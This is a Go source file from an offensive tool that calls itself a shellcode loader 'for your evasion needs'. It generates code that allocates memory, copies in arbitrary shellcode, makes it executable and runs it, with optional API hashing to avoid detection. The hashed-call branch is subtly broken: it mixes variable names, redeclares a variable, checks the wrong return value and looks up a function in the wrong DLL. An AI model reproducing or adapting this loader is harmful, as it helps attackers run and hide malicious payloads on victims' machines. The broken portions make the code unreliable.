myph~ shellcode loader for your evasion needs |
| git clone https://github.com/matro7sh/myph.git |
| log | files | refs | archive | README | LICENSE |
syscall.go (3734B)
1 package loaders 2 3 import ( 4 "fmt" 5 "strings" 6 ) 7 8 type SysTemplate struct { 9 UseApiHashing bool 10 HashMethod string 11 } 12 13 func (t SysTemplate) Import() string { 14 if t.UseApiHashing { 15 return fmt.Sprintf(` 16 import ( 17 "fmt" 18 "log" 19 "os" 20 "syscall" 21 "unsafe" 22 23 "github.com/Binject/debug/pe" 24 loader "github.com/cmepw/myph/internals" 25 ) 26 `) 27 28 } 29 30 return fmt.Sprintf(` 31 import ( 32 "syscall" 33 "unsafe" 34 ) 35 `) 36 } 37 38 func (t SysTemplate) Const() string { 39 40 if t.UseApiHashing { 41 return fmt.Sprintf(` 42 const ( 43 MEM_COMMIT = 0x1000 44 MEM_RESERVE = 0x2000 45 PAGE_EXECUTE_READ = 0x20 46 PAGE_READWRITE = 0x04 47 ) 48 `) 49 50 } 51 52 return fmt.Sprintf(` 53 const ( 54 MEM_COMMIT = 0x1000 55 MEM_RESERVE = 0x2000 56 PAGE_EXECUTE_READ = 0x20 57 PAGE_READWRITE = 0x04 58 ) 59 60 var ( 61 kernel32 = syscall.MustLoadDLL("kernel32.dll") 62 ntdll = syscall.MustLoadDLL("ntdll.dll") 63 64 VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 65 VirtualProtect = kernel32.MustFindProc("VirtualProtect") 66 RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 67 ) 68 69 `) 70 } 71 72 func (t SysTemplate) Init() string { 73 return fmt.Sprintf("\n") 74 } 75 76 func (t SysTemplate) Process() string { 77 if t.UseApiHashing { 78 return fmt.Sprintf(` 79 80 ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil { 81 fmt.Println(err.Error()) 82 os.Exit(1) 83 } 84 defer ntdll.Close() 85 86 87 kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil { 88 fmt.Println(err.Error()) 89 os.Exit(1) 90 } 91 defer kernel32.Close() 92 93 94 var addr uintptr 95 regionsize := uintptr(len(shellcode)) 96 VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32) 97 if err != nil { 98 log.Fatal(err) 99 } 100 101 addr = loader.HashedCall( 102 VirtualAlloc, 103 0, 104 regionSize, 105 MEM_COMMIT|MEM_RESERVE, 106 PAGE_READWRITE, 107 ) 108 109 if addr == 0 { 110 log.Fatal("Error: null return value") 111 } 112 113 RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll) 114 if err != nil { 115 log.Fatal(err) 116 } 117 118 rvalue := loader.HashedCall( 119 RtlCopyMemory, 120 addr, 121 (uintptr)(unsafe.Pointer(&shellcode[0])), 122 regionsize, 123 ); if addr != 0 { 124 log.Fatal("Error: invalid return value") 125 } 126 127 oldProtect := PAGE_READWRITE 128 VirtualProtect, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7126a1d34679917e", ntdll) 129 if err != nil { 130 log.Fatal(err) 131 } 132 133 rvalue := loader.HashedCall( 134 VirtualProtect, 135 addr, 136 regionsize, 137 PAGE_EXECUTE_READ, 138 uintptr(unsafe.Pointer(&oldProtect)), 139 ); if addr != 0 { 140 log.Fatal("Error: invalid return value") 141 } 142 143 _, _, _ = syscall.SyscallN(addr) 144 145 `) 146 } 147 148 return fmt.Sprintf(` 149 addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) 150 _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) 151 oldProtect := PAGE_READWRITE 152 _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) 153 _, _, _ = syscall.SyscallN(addr) 154 `) 155 } 156 157 func (t SysTemplate) GetTemplate(targetProcess string) string { 158 InformProcessUnused(targetProcess) 159 160 var template = ` 161 package main 162 163 __IMPORT__STATEMENT__ 164 165 __CONST__STATEMENT__ 166 167 func ExecuteOrderSixtySix(shellcode []byte) { 168 169 __IMPORT__INIT__ 170 171 __IMPORT__PROCESS__ 172 173 } 174 ` 175 template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 176 template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 177 template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1) 178 template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 179 180 return template 181 }